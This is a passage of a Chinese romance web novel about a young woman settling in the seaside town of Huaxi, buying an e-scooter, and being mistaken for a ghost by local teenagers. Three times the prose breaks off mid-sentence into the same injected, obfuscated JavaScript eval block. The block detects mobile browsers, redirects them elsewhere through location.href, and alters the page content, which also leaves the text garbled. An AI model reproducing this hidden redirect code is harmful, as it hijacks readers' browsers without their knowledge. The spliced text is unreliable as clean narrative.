他听过奶奶讲的故事,又结合自己的亲身经历,现在对香瓜女士是女鬼的事深信不疑。 方兰听得背后发凉,这几天镇上也在传绿柳街的事,她听了不少绿柳街12号的鬼故事,每次听总会有她没听过的版本,一件比一件离奇,越听越觉得邪乎。 “反正我不信。” 万波笃定道。 “你们听到的都是人们瞎编的,都是危言耸听罢了,还有人喜欢乱编故事引人注意。其实大多数闹鬼的现象都可以用科学来解释,自然声响、光线折射,又或者是谣言听多了,人们本身在心理上会本能对其有种畏惧感。” 崔胖不服气地往后一靠,双手抱肘,就等着万波自己打自己的脸。 “行行行,你俩是要考大学的高材生呢,就我没文化,就我封建迷信,行了吧。” .................. 这边,步梨跟着陆时生去往电动车专卖店挑选电动车。 陆时生这人虽然在感情方面可能有一点不是那么洁身自好,但不能否定他的心肠是好的,因着他是步梨来到花溪镇后第一个遇到并帮了她的人,步梨相信他不会坑人。 路上,陆时生再次将电动车骑得飞快,步梨不由得想,等她以后有了车,一定要离陆时生远点,不然容易发生交通事故。 她觉得越界,没好意思去抓陆时生的衣角,只能双手紧紧抠着车后座,一路处于紧张的状态,终于等到车子停了下来,眼前映入一个落地的大玻璃窗,里面摆满了各式各样的电动车。 步梨擦了擦额角的汗,迅速从陆时生的车后座跳下来,匆匆走进店里挑选。 陆时生在后面看她两眼。 ??? 这么着急买车? 他这会儿倒是不慌不忙,把车停好后跟着进了店门,推开门进去时,听见步梨已经和老板郭二野交谈上了。 郭二野:“美女,看上哪款了?” 步梨:“哪款最贵?” 陆时生:“......” “郭小二,给人便宜点。”他走进去,开门见山地说道。 郭小二,本名郭二野,自称二爷,但他长得又瘦又小,平时贯爱佝偻着腰,没有半点爷的风范,所以痛失本名,别人都叫他郭小二。 郭二野见到陆时生,眼珠子提溜一转,客气道:“原来是生哥朋友啊,放心吧,这单我不赚你钱。” 他说完,殷勤地给步梨介绍起来,“这一排三千二百九十九,电池续航好,从这里能一路开到县城都没问题,你买的话,我给你抹零,三千骑走,那一排贵点,五千八九十九,贵有贵的道理,一键解锁,雪天雨天防滑,功能多着呢,保管好骑。” 步梨径直走到五千八的行列,郭二野赶忙陪着,叽里呱啦又给她讲了一堆车子的功能。 她没自己买过电动车,也不懂什么功能,就知道一个道理,最贵的自然就是最好的。 “五千的能抹零吗?”步梨问。 郭二野觉得这姑娘有点呆,但不妨碍他做出很吃惊的表情。 他听过直咧嘴,动作夸张到差点就跪了,皱着眉哭喊一声,“诶呦,美女,这可抹不了,其他人都是五千八一分都不少的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375871|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天看在生哥面子上,我给你最低价,五千五。” 步梨正要点头,手都预备要掏银行卡了,被陆时生一句话又堵了回去,整个人卡在原地。 “五千吧,不行的话,我带她去县城再看看。” 他说完,拽了步梨的胳膊要走。 郭二野见生意做不成,急忙退步,好言道:“别介啊,县城的更贵,五千四,别让我亏本啊生哥。” 陆时生道:“预算最多就五千,你蒙不了我,上个月耗子刚从你这买的车,就花了五千块钱。” 郭二野喊道:“这不生哥你都说了是上个月,那会儿这款刚推出,行情也不好,所以赔本搞的活动,现在这车我去提都将近五千呢。” 他人长得虽瘦小,嗓门却挺大,这会儿诶呦呼叫地,看起来是真为难,“要不,五千二,好歹让我赚两百块钱吧,再少可真不成了,你们就去县城看看吧。” 步梨觉得这单快不成了,她可不想再跑一趟县城,多麻烦呀。 加两百块钱算了。 不成想陆时生依旧没松口,直接转头拉着步梨走,“走吧,去县城。” 步梨有些没底,快走到门口了,正想回头,就听到郭小二喊了一嗓子。 “行吧,五千!骑走吧!唉,今天这单真没赚钱。” 步梨霎时投以陆时生钦佩的眼神,“你真厉害。” 又有点担心,这老板没赚钱,到时候电动车出问题了,能耐心地给她解决售后吗? 陆时生只想说,是你太好骗了。 郭二野一边灰头土脸地答应,一边把步梨方才看的车推出来,“就这辆可以吧,我帮你推出去,你再检查检查有没有问题,有问题也没事,包售后的哦。” 步梨这才放心。 她想起来最要紧的装备还没买,开口问道:“头盔有吗?” 她不说,郭二野也正要提这事儿呢,电动车这单他少赚了好几百,今天好不容易来了个大客户,他肯定要想方设法多捞点油水,类似于薄利多销了。 “有啊,这边,也是不同价位的都有。” 步梨点点头:“要最贵的就行。” 陆时生:“......” 他有点不想管了。 这感觉就像是城里的大小姐进村来赶大集寻求新鲜感,他在一边帮着讲价,讲了半天,把价格从五毛讲到四毛九。 多此一举,人家根本不在乎那三五百块钱,还让人觉得他磨磨唧唧扫了兴致。 罢了,何必管有钱人的闲事。 他两手一揣,出门帮步梨去检查新车,确定没问题后,便回自己的车座上坐着等步梨。 没多久,他看见步梨到前台付了款,郭二野那小子今天赚了一大笔,嘴都快咧到后脑勺了,还一直诶呦呼叫着说自己赔钱。 他懒得看他那副得意的样子,扭过头去,等步梨出来,陆时生才转回头,正见到步梨胳膊上跨的手里拎的,居然有三个头盔! “你买这么多头盔干嘛?” 敢情真实身份是哪吒三太子?有三头六臂不成? 正要上去问两句,就看见步梨直接朝着他这边走过来,手里三个头盔塞给了他两个。 “这两个,送你的。” 陆时生一愣。 步梨正用那双如同小鹿一般的眼睛望向他,满眼都是真挚,不像是开玩笑的。 “送我?” 步梨这顿操作搞得陆时生有些茫然。 总共买了三个,两个都送他了? 他也没接,坐在车座上狠狠叹了口气。 真服了这位城里来的大小姐了。 5. 花溪镇派出所欢迎您 “退了吧,我不需要这东西。” 陆时生拒绝了步梨的好意。 步梨执意要给他,她将一个头盔放在了陆时生的车筐里,另一个塞到陆时生手中,边放边不紧不慢地列举了两个理由,“一是感谢你昨天还有今天的帮忙,二是骑电动车一定要戴头盔的,不然很不安全。” 陆时生犹豫一会儿,见她这般真诚又坚持,便答应下来,“行,我收下了。” “不过,我得把钱转给你,就算你要感谢我,也不用给我这么贵重的东西。” “不用了。”步梨道。 也不贵啊。 陆时生干脆直接问郭小二。 “郭小二,这头盔多少钱?” 郭二野把方才的情景看在眼里,朝他似有深意地笑了笑。 “生哥,188,不贵,还吉利。” “真不用给我。”步梨阻拦道。 陆时生掏出手机,正要给步梨转账,又停下来,“为什么给我俩?” “你一个,你爱人一个呀。”步梨咧咧嘴。 “我爱人?” “这是女士的,你爱人或者你的小孩坐在后座的时候可以戴。” 步梨想得还挺周到,连后座都考虑到了。 陆时生轻笑一声。 “我单身。” “没爱人,也没孩子。” 步梨愣了愣,问道:“你昨天不是去接......” 陆时生解释道:“昨天是替别人接的。” 步梨恍然大悟,面带尴尬地强颜笑道:“好吧,那只给你一个,不用转钱。” 她把车筐里的头盔拿了出来,去找郭二野退掉。 郭二野也爽快,二话不说就帮她退了,还笑嘻嘻道:“以后需要什么车配件,尽管过来。” 步梨道了声谢,走出店门,见陆时生已经不告而别了。 他把她买的一包东西放在了她的新车上,自己骑着电动车消失在街角。 步梨伸着脖子望了望,嗯,戴头盔了。 手机里多出一条新的微信消息,是陆时生发来的红包,上面备注了是头盔费用。 步梨觉得这人挺固执的,就非要转钱给她不可。 不过她没有收钱,等着24小时后退还便是。 今天忙活一上午,步梨最重要的事还没做,找修灯的师傅。 有了车,她很快找到了灯具店,店里只有一个十几岁的小孩哥在看店,见有客人进来,小孩哥很挺熟练地起身招呼。 “买灯吗?” 步梨转了一圈,指着一个偏欧式风格的吊灯说道:“这个多少钱?” 小孩没回答价格,见她看的是大灯,说道:“我爸爸去胡家村那边帮人安灯泡去了,得晚上才回,你想买这个灯的话,可以先帮你留着,明天才能安。” 步梨心道自己来得不巧。 “诶呀,我急用,还有别的灯具店吗?” 小孩咧嘴,骄傲地笑道:“就我们一家,要么就得去县城。” 步梨望了一圈,店里除了有吊灯,还有灯管、灯泡,台灯,她打算先买盏台灯凑合一晚。 “这些台灯,哪盏最亮?” 小孩道:“这个,我写作业就用这个。” “行,我买了,这个吊灯也给我留着哦,明天我就来,谢谢你,小弟弟。” 步梨完成今日的采购,戴上头盔,开着新买的电动车,一路回了家。 中午的阳光很强,海边的风也烈,步梨出门前忘记涂防晒,回家后脸有些疼,准备敷个面膜,做个晒后急救。 阳光从窗户照射进来,有些晃眼,步梨便把纱帘拉上,挡住部分光线。 白色的窗纱遮住窗户,屋里光线依旧不弱,步梨停了两秒,脑子里回想方才拉窗帘时的情景。 她转过身,刷的一声迅速将窗帘拉开,果然,窗台上有一个脚印,旁边的画架也坏了。 有人翻窗进来? 她心里猛的一惊,瞬间谨慎起来,这时才后知后觉地感觉到,院子里那把铁锹,门口的地毯,还有桌上的花瓶,似乎都有被移动过的痕迹。 是人还是鬼? 步梨脑子里涌出的第一个想法居然是这个。 该不会绿柳街12号真的在闹鬼? 她近来听的鬼故事多了,也有点被洗脑,脑子里闪过这个念头,随即又觉得自己可笑。 青天白日的,哪里来的鬼?怕不是进了小偷。 这比鬼还要命。 步梨浑身僵直,手脚竟有些不听使唤。 她无法确定那人是否还在家里,若在,她会不会被杀人灭口? 干脆就假装没看见,让对方逃跑就行了。 步梨佯做出一副什么也没发现的样子,照常给自己倒了杯水喝,边喝水边迅速将屋子环顾了一圈。 一楼并没有异常。 再去二楼看看。 她若无其事地起身,上楼梯时,目光注意到落地窗帘被人解开了。 人在窗帘后面。 步梨当机立断,右手握着手机直接按了三下:110。 ...... ...... ...... 陆时生刚回到望潮木工坊,便接到了派出所打来的电话,让他去领犯了事儿的崔胖。 陆望潮正在门口抽烟,见他脚还没沾地就要走,皱着眉头道:“你今天是被鬼缠上了吗?进进出出的忙活什么呢?” 陆时生道:“有事,不行你让朵朵来帮忙,今天的快递都没分呢。” 陆望潮十分地不乐意,吸了口烟,抱怨道:“崔胖子也不在,你还到处乱跑,合着事儿都往一天赶,朵朵那小屁孩算数都算不对,能帮上什么忙?” 陆时生道:“放心吧,她算得比你好。” 陆望潮把烟掐灭,“对了,我接了个活儿,罗他们家要排新船,我过去,不知道什么时候回。” “放心吧,这边的店我看就行。”陆时生说完,到隔壁敲了敲门,朝着屋子里喊了声。 “朵儿——拿着作业来这边,帮你陆大伯算算账。” 屋里的小孩应了一声,很快登登登跑了过来。 “那崔胖子干什么去了?”陆望潮问道。 陆时生边穿衣服边说:“说是拉肚子了,谁知道又惹什么祸了?刚警察给我来电话,让我去局子里捞人,” “进局子里了?这死胖子!说拉肚子肯定是编的瞎话,你都快成他爹了,惹事惹到派出所,还得你去捞他。” 陆望潮骂了一句。 “爸,这事儿你先别跟崔师傅说。”陆时生道。 陆望潮将手里的烟头一丢,“你看我有空去跟他说吗?” ...... 花溪镇派出所。 陆时生进屋后,见崔胖、方兰还有万波三个人跟三个呆瓜一样排排坐在那儿。 除此之外,还有一个熟悉的面孔,步梨也在。 崔胖见到陆时生,喜极而泣,直接从座位上跳起来,“生哥——太好了!你终于来捞我了!” “坐下,别乱动!” 看着他的民警呵斥一声。 崔胖灰溜溜地坐回去。 “怎么回事?”陆时生走过去问。 负责这件事的民警是新调过来的,看着年轻,办事却十分严厉负责,他看着陆时生年纪跟他也差不多大,问了句,“你好,我姓张,你是他家属?” 崔胖道:“对对,他是我哥。” 万波忙跟着说道:“也是我哥。” 方兰红着脸小声也跟了句,“还有我。” 陆时生点点头,解释道:“他爸有事,我是他表亲,这几个孩子我都认识,虽然淘气了点,但不至于干出违法犯罪的事儿来。” 他说着,看了眼步梨。 步梨没说话。 姓张的民警说道:“他们三个私闯人家的民宅,还弄坏了人家里的东西。” “没有,生哥,我们没私闯民宅。”崔胖喊道。 步梨开口道:“那你们怎么在我家里?还藏到窗帘后面。” 万波道:“我们不是故意的。” “不是故意的?那打开了我的窗户,踩着窗台跳进我家里去,画架也被你们碰坏了,都是偶然吗?”步梨也没发火,而是平静地陈述事实。 陆时生听过,瞪了三个人一眼,“你们几个平白无故跑人家里去干嘛?” 陆时生平日里说话柔声细语的,但他生得英气,眉宇间自带几分凌厉感,生起气时的气场莫名让人觉得畏惧。 几人默了一会儿,最后方兰出来解释道:“生哥,我们就是好奇。大家都说那地方是鬼屋,我们想去看看到底有没有鬼,所以就悄悄进去看了看。” 她说完,崔胖跟着说道:“是的,步小姐,你的房子里可能有鬼。” 步梨差点就脱口而出:没有鬼!你们看到的女鬼是我! 她压下心头的气,问道:“你们见到鬼了?” 崔胖道:“还没,应该是大中午没出来。” 万波觉得崔胖彻底没救了,他打断崔胖的话,不好意思地看向步梨,很有礼貌地问道:“姐姐,那些快递都是你买的吗?” 步梨点头:“对啊,当然是我买的,不然还能是鬼?” 崔胖张着嘴愣了一会儿,忽然恍然大悟地啊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375872|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,惊讶道:“啥?原来你就是那个香瓜女鬼啊。” 步梨拧眉,“香瓜女鬼?” 崔胖狠狠点头,“对啊,那些都是你的吧,我和生哥在整理的时候,发现那些收货人是‘香瓜女士’的快递好久都没人来拿,一查那地址是鬼屋,还以为这些都是女鬼买的。” 步梨一时无语。 崔胖还是有些不解,“那你家门口那个血手印是什么?” “就是这个。”崔胖打开照片。 步梨一看,长叹了口气。 这事儿她还来气呢。 早上她出门,见到快递被胡乱丢在地上,里面还有一个纸箱被车轮压扁了,里面是她买的颜料,红色的颜料流出来,沾了她一手。 她都不知找谁说理去。 “给人道歉。”陆时生命令道。 三个孩子很听话,齐刷刷朝步梨鞠了一躬,说道:“对不起。” 陆时生道:“实在抱歉,几个孩子不懂事,弄坏了的画架我可以帮你修,或者赔也行。” 步梨念在他们就是几个熊孩子,也便接受了道歉,不打算计较。 见双方和解,张明辉让陆时生签了字,便放了人。 他表面一副严肃模样,心里却憋笑了好久,没想到今天碰到传闻里的“女鬼”了。 这几天镇上传得风风雨雨的女鬼事件,原来是这么个事儿。 这么一个漂漂亮亮文文静静呆呆傻傻但又有点可爱的姑娘,居然被传成了面容狰狞吐着舌头四处游荡的女鬼。 真是谣言猛于虎! 走出派出所的大门,陆时生又对几个孩子进行了批评教育。 步梨见三个人跟小鸡仔似的蔫巴巴跟在陆时生屁股后面,感觉有点好笑。 她叹了口气,“行了,别说他们了,你们几个帮我把女鬼的谣言澄清一下就行了,可别再有其他熊孩子闯进我屋里了。” 三个人点点头。 崔胖说道:“真的,我们真的就是好奇,没有别的意思,就怪鱼蛋儿,老是说想去什么密室鬼屋,我们也没想到一直没有人住的房子突然有人住了。” 步梨严肃道:“我这里不是鬼屋,也不是密室。” “知道了。” 见他们三人一脸愧疚,步梨笑了下,说道:“你们要喜欢探险,下次我请你们去密室,可别来我屋里玩了。” “真的吗?”崔胖一听,方才被教育时的阴霾顿时散开,整个人精神焕发。 步梨:“当然。” 崔胖裂开嘴露出一排小白牙,朝着着步梨嘿嘿笑着说了一句:“谢谢香瓜姐姐。” “不喊我女鬼了?” “不喊了。诶?生哥,你认识香瓜姐姐?” “算认识吧。”陆时生道,垂眸见崔胖一副思考的模样,脑袋瓜里不知道在想着什么。 他心里有种不祥的预感。 果然,崔胖拧眉,不满地指责道:“那你还喊她女鬼!” 崔胖现在完全是步梨这一边的。 陆时生:??? 我什么时候喊她女鬼了?不都是你喊的? 他只是没有在他喊女鬼的时候纠正他而已。当时他还不确定步梨是不是香瓜,所以没说,现在倒成他的不是了。 崔胖认为不纠正就是默认,怒气冲冲地看着陆时生,成功转移了指控对象。 步梨也回过神来。 原来上午陆时生喊她香瓜,是因为那些快递猜到的。 他既然知道她就是香瓜,还跟着崔胖这些孩子一起喊她女鬼,这不是开她的玩笑吗? 小孩子乱说她就不计较了,整个村子里的谣言都传开了,他也不帮忙说两句? 她现在被整个花溪镇的村民都当成了女鬼,陆时生简直就是“万死难辞其咎”! 亏她还拿他当朋友呢。 “你也当我是女鬼?”她问陆时生。 “哦,就是......”陆时生支吾片刻,“一开始我也不知道。我之前给你打电话你都没接。” 步梨道:“陌生号码我一般都不接的。” 陆时生:“短信呢?也不看?” 步梨道:“前段时间手机坏了,修好后一堆信息,可能被我漏掉了吧。” 陆时生忽然变成了质问的一方,步梨反应过来,觉得他的语气凶巴巴的。 “你怎么还质问上我了?” “算了,晚上我请你吃饭,就当给你赔个不是。”陆时生态度淡淡的,像是随意一提,看不出半点真诚。 步梨想了想,拒绝:“不了,那头盔我不送你了就是!扯平!” 她拿出手机,愤愤领了陆时生的红包! 6. 和三个小鬼头在一起的时光 花溪镇不像灯红酒绿的大城市,彻夜灯红酒绿。 这里夜晚来得很早,基本上九点钟之后街上就没什么人了,只有孤零零的路灯亮着。 夜晚十分安静,能听到小虫的叫声。 夜里经常会起风,从海上刮过来的风里总是带着很多水汽。步梨小时候住在这里时,因为空气太过潮湿,身上还总爱起疹子,但长大后便没了这毛病。 步梨从白天的闹剧中吸取了教训,将庭院里还有大门的门锁都关好,才安心回了卧房。 她正在跟沈思筝通话,不知从哪飞来一只缠人的小飞虫,对她的手机也感兴趣,总在她的屏幕上撞来撞去。 吊灯还没修好,晚上她只能开着台灯,屋子里唯一的光源就是这盏灯和她的手机屏幕。 眼瞅着越来越多的小飞虫来窥视她的屏幕,步梨忍无可忍,暴躁了几瞬才想起去检查纱窗。 步梨的卧房在二层,窗外有棵橘子树,这树常年没人修剪,长得越发猖狂,有枝桠都快伸到窗户里来了。树茂虫子也多,稍微不留神,没做好防护,晚上就会有小飞虫钻进来。 步梨上前一看,果然,纱窗破了个洞。 大晚上的,眼下只能亡羊补牢,抓紧时间把窗户关严。 “你刚刚说什么来着?” 她回来继续跟沈思筝通话。 “夸你呢,可以啊香瓜,到哪都是新闻人物,恭喜你成为花溪镇第一女鬼——” 沈思筝听了步梨的光荣事迹后,在那边笑得肚子疼,“你要是女鬼,应该是香瓜精吧。” “你别笑抽抽过去。”步梨叹了口气,想到这事儿的源头在陆时生那里,顿时握了握拳头,“都怪那陆时生,害我被全村人叫女鬼,家里还被人当成鬼宅,三个小孩闯进来探险,我当时吓得半条命都差点没了!而且!” 步梨顿了顿,强调道:“闯进来的还有他的伙计!亏我还感激他呢。” 沈思筝劝说道:“我觉得那陆时生可能也不是故意的,没准他当时也不确定你就是香瓜呢。” 步梨气道:“你跟他又不是一家的,怎么还向着他说话?” “别太着急评价一个人嘛,都是一个村的,以后少不了互相帮衬。当然了,你自己一个人在那边,也别太容易相信别人了,陆时生这人处事圆滑,左右逢源之事信手拈来,不适合深交,你跟他保持基本的距离就行了。” 沈思筝总是担心步梨在这边的生活,啰里啰嗦嘱咐了好多遍。 其实步梨这个人看着没什么头脑,生活方面还是挺独立的。 挂了电话,她盘算着明天要如何计划。 她习惯了按照计划行事,工作、健身、散步、画画,每天都如出一辙,细想也挺无聊的。 到了花溪镇,总算多了点新鲜感,似乎时间都过得慢了些。 明天要做什么呢? 她想着。 哦对,灯还没修,窗纱也得换,好多房间也都还没打扫。 好像也没那么清闲...... 脑子里顿时一团乱线。 不过,转念一想,何必着急呢? 花溪镇这么好,总得先享受几天吧。 她打算不列清单,每天随心而定。 临睡前,步梨在手机上搜了搜密室。 原本还想着做下攻略,对比看看哪家场景真情节好,结果上网一搜,县城里就开了一家密室。 只能去这家了。 没得选择也挺好,省心。 * 次日清早,步梨起了个大早。 她烤了两个面包片,再涂上些番茄酱,一顿简便易做又营养美味的早餐完成。 吃完饭,她换了件卫衣,准备开始劳动,将屋子的里里外外都打扫一遍,刚开始干,便听到门铃响声。 门外站着的是昨天“私闯民宅”的三个小鬼头。 步梨披了件外套,出去开门。 “香瓜姐姐早上好。”崔胖第一个跟她打了个招呼,方兰和万波也跟着喊了句。 “早上好。” 步梨笑了笑,把他们邀请进门。 几人手里大包小包的,跟刘姥姥进大观园似的,一边往里走一边四下张望。 “没鬼。”步梨见状,强调一遍。 方兰急忙解释道:“嘿嘿不是啦,香瓜姐姐,你家的院子真好看。” 步梨这时才注意到,院子里的篱笆上爬了很多簇牵牛花,已经结出了花苞。 几个人在院子里哇声一片,进了屋,哇声更甚。 “香瓜姐姐,你这屋子也太大了吧,真漂亮。” 步梨这间老房子虽然年头久了,但这是当年她爷爷亲手设计的,南北通透,户型优越,空间很大,足足有三层,房间很多,每一处去细看又藏着精巧的设计。 房间的装修则来源于她奶奶,中西结合式的装修风格,淡绿色的壁纸绘着淡雅的花朵图案,有几分法式风格,窗户旁那扇古香古色的屏风,上面的国风山水图,也是她奶奶亲手画的。 步梨给三个孩子倒了果汁,崔胖手里拎了个黑色袋子,小心翼翼地放到了茶几上,说道:“香瓜姐姐,我奶奶让我们来给你道歉。” 步梨柔声道:“昨天不都道过歉了,我都原谅你们了,怎么还带了东西过来?” “这是鸡蛋,是我奶奶养的鸡下的,很新鲜的。”崔胖道。 “家里养的鸡?”步梨眼睛亮亮的,心悦地想,以后早餐烤面包的时候可以加个煎蛋了! “这是我爸爸出海打来的,让我给你送过来。”万波手里也有个黑袋子。 步梨打开看,是牡蛎,烤着吃最鲜美了。 方兰很淡定地等到最后,“这是我妈妈腌的黄瓜,还有这件马甲,是我妈妈亲手做的。” 万波接着道:“兰兰家是开裁缝铺的,她妈妈手可巧了,什么衣服都会做。” “是张婶吗?”步梨想起陆时生提到过。 方兰点点头,脸上顿时浮出骄傲的神情,她手里是件新中式的马甲,淡蓝色的布料泛着柔和的光,像是浮光锦,样式朴素却又不失精巧,一针一线都很细致。 步梨喜欢得紧。 “真好看。” 方兰说道:“这件衣服原本是我妈送给我小姨的结婚礼物,我觉得更适合香瓜姐姐,我妈就让我一块送过来了。” 步梨不好意思地问:“那你小姨怎么办?” 方兰笑了笑,说:“她结婚还要七月份呢,让我妈妈再做一件给她就行了。” 崔胖在一旁笑嘻嘻地说道:“香瓜姐姐,你穿肯定更好看。” 果然是在陆时生的店里打工的,这油嘴滑舌的劲儿八成是跟陆时生学的。 步梨目光扫过去,脸上一片欣然。 好哇好哇。 收获好多。 只是收这么多礼物,难免觉得受之有愧,应该礼尚往来。 步梨心血来潮,“你们今天都有事吗?不然我带你们去密室?” 方兰和万波摇摇头,“今天周日,明天才开学,”她说着,又叹了口气,“可是昨天就玩了一天,今天我妈让我送完东西回去做功课呢。” 只有崔胖皱眉道:“唉我下午要去生哥店里帮忙收快递。” 步梨听过,摊了摊手,“唉,那看你们喽,反正我有的是时间。” “步姐姐,你不用上学也不用上班?” “嗯。”步梨骄傲地点点头,然后尽情沐浴着三个人羡慕的目光。 她懒懒地坐在沙发上,由着几个小孩思考。 三人叽叽咕咕低声讨论了会儿,步梨听到小名叫鱼蛋儿的男孩说道:“兰兰,要不今天去吧,下次还不一定什么时候呢,反正学习也不差这一会儿。” 方兰脸上布满纠结,但还是没禁得住诱惑,点了点头,“行!放假了就得痛快玩,放放松嘛。” 她给自己找了个理由后,脸上的表情轻松多了。 “那我怎么办?”崔胖急道,生怕不带他。 步梨加入他们,淡淡问道:“你没有假期吗?” 崔胖沮丧道:“一个月两天假期,可是我已经休完了。” 步梨表示同情,“有事也不能请假?” 崔胖道:“除了生病或者有紧急的事才可以请假,不然就要扣钱了。” “那你这次就请事假。” “什么事呢?” 步梨想了一会儿,出了个主意道:“就说肚子疼。” 三个孩子的眼神从期待转为不屑,其中还夹杂着几分冷漠。 步梨心虚片刻,后又理直气壮道:“怎么了?撒个小谎不行吗?你们看上去也不是什么乖孩子,连谎都不会说?” 万波勉强做出一个笑容,实话实说道:“没有,就是觉得...香瓜姐姐,你的主意真老套,都快被我们用烂了。” 步梨:“......” 她狡辩了句,“虽然老套,但很好用好嘛!” “..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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步梨掏出自己的宝贝相机,给方兰拍了张照片,将来送给她,留作纪念。 ...... 日出东方,忙活了大半天,看时间还不到九点钟。 今日出门,步梨特意扎了头发,穿了件显年轻的卫衣,走在路上,非常成功地融入到了三名高中生年纪的孩子队伍里。 早上的林荫道有些湿漉漉的,步梨把帽子扣在头上,领着三个孩子去到镇子口乘坐开往县城的班车。 周末去县城的人比平日多,前面的座位都被坐满了,只剩最后两排还空着。 离发车还有几分钟,三个小孩先后跳上车,兴高采烈地坐到了最后一排,步梨最后一个上车,跟张叔打了个招呼,“张叔,我买四个人的票。” 张叔还记得步梨,一见她,乐呵了一声,“来啦,丫头,不收你钱,几个人都免费坐。” “那可不行。”步梨贯不会跟人推让这些,从兜儿里掏了现金塞给张叔。 张叔忽然想起什么似的,拍了下大腿,“对了,丫头,上次你说住在绿柳街,难道你就是哪个......嗯......豪宅的住户?” 一时,车上所有人的目光都朝她汇聚而来。 有人非常大声地窃窃私语。 “原来这就是那个女鬼啊。” “小姑娘挺漂亮的,也不像说的那么丑陋吓人啊。” “什么女鬼啊,人家是步老爷子的孙女,搬回来住一段时间,村里几个孩子瞎传,把人说成女鬼了!没有的事儿!” “步老爷子?那不就是鬼......” “瞎说什么呢!嘘——” 步梨如芒在背,深陷社死现场,恨不得立即下车。 这个张叔!什么时候问她不行,非现在问,还大嗓门儿! 她想把钱拿回来还来得及吗? “香瓜姐姐,你座这儿还是最后一排?”崔胖朝她大喊了一句, 步梨勉强挤出一个不失礼貌的微笑,随便嗯啊了几声,赶紧往后面走去。 她选了最后一排靠窗的位置,整个人小小的一只缩在最角落里,一路上都扭头看着窗外。 等到了县城,她才得以解脱,再多一秒,脖子都快歪了。 7. 胆小鬼勇闯密室 步梨从来没有玩过密室。 她觉得这种游戏就是闲着没事自己吓自己,三五个人凑一组,先花钱把自己关在屋子里,再自己想办法出去,还被戏弄、恐吓,怪无聊的。 而且也不是真的有鬼,有什么好怕的呢? 步梨觉得还是逛街最有趣。 到县城不过半个小时的车程,一下车,步梨便先让方兰和万波带路,去了县里最有特色的步行街。 看来还是得本地人带路,之前步梨来没发现这个宝藏小街,来了才发现这里有很多新奇的宝贝。 这街道离海边不远,弯弯窄窄的一条,两边挤满了店铺的招牌,上上下下挤满了,好像没有一处空间是空着的,稍显杂乱,却很有生活气息。步梨在一家卖饰品的小店里买了些贝壳的手串项链,把手上脖子上都戴满了。 这些东西崔胖和万波自然是不喜欢,步梨要方兰随便挑,没想到她也嫌弃。 “我家里一堆呢,都是我自己捡的贝壳,自己做的。” 步梨星星眼,猜测方兰家里肯定一堆漂亮衣服,一堆漂亮饰品。 “有空我去你家参观参观。” “那咱们去买点别的。” 崔胖、万波:“......” 难怪快递一堆接着一堆,真是个购物狂。 这二人来这里的目的非常纯粹——密室,没想到现在要陪女人逛街。 小小年纪就提前感受到了来日的痛。 “咱们去买吃的啊。”步梨看着这几个小鬼的心思,提高了些音量说道。 几人顿时来了精神。 步梨一脸无奈地看了一眼他们,摇摇手机,慷慨道:“想吃什么随便,姐姐请客。” 话落,几个小孩手舞足蹈地冲了出去。 这边的吃的也地道又便宜。 人多的话,各式各样的小吃可以买好几份,这个吃一口那个尝一块,很快胃里就满了,连午饭都不想吃了。 步梨又打包了一些糕点带回去。走得累了,便找了个冷饮店休息。 冷饮店跟异界密室在同一条街,步梨请大家喝了甜水,歇歇脚,差不多刚好到跟章鱼客服预定的时间。 “小胖,我问你哦,陆时生喊过我‘女鬼’吗?”步梨忽然就想问问这事,她总感觉陆时生没那么坏,不是那种散播谣言诋毁他人的人。 崔胖:“当然喊过了!” 步梨:“......” “鬼屋的事儿我就是听生哥说的啊。”崔胖话没说完,脚被狠狠踩了一下,他嘶了一声,抬眼见万波朝他瞪眼,这才反应过来,改口道,“诶呀,其实......当时我们不知道是你,随便叫的,要知道香瓜姐姐你这么漂亮,怎么会喊你女鬼啊。” 步梨暗搓搓哼了一声,陆时生就知道! 罢了,她不想再追问了。 这事儿,翻篇。 ... 异界空间密室在步行街快到尽头的位置,步梨一行人到的时候,店里还有几名顾客在等,都是结伴而来的年轻人。 前台的位置有一男一女,女生戴副黑框眼镜,留着齐肩短发,身形瘦瘦的,看起来非常干练,男生穿着牛仔外套,梳了一头的脏辫,数了数约么是八条,应该就是章鱼小客服本尊了。 章鱼小客服非常热情,见来了客人,立刻热情招呼,还给倒了热水。 “几位是玩《妮可的住院日记》对吧,稍等一会儿啊,今天周末,好多学生,上一场还没结束,不过快了,先喝点水。” 步梨觉得他的每一个小辫子都在飞舞。 她四下看了看,确实好多学生,她这个已经毕业多年的社畜显得格格不入。可目光扫过角落里的落地镜,又不自主地挺了挺胸脯,暗暗告诉自己一句:老娘还年轻。 章鱼客服招待之余,还能抽空跟他们聊上几嘴。 “妹子,你们都是一中的学生吗?放假作业不多啊?” 步梨心里暗暗地笑,摇了摇头道:“还行。” 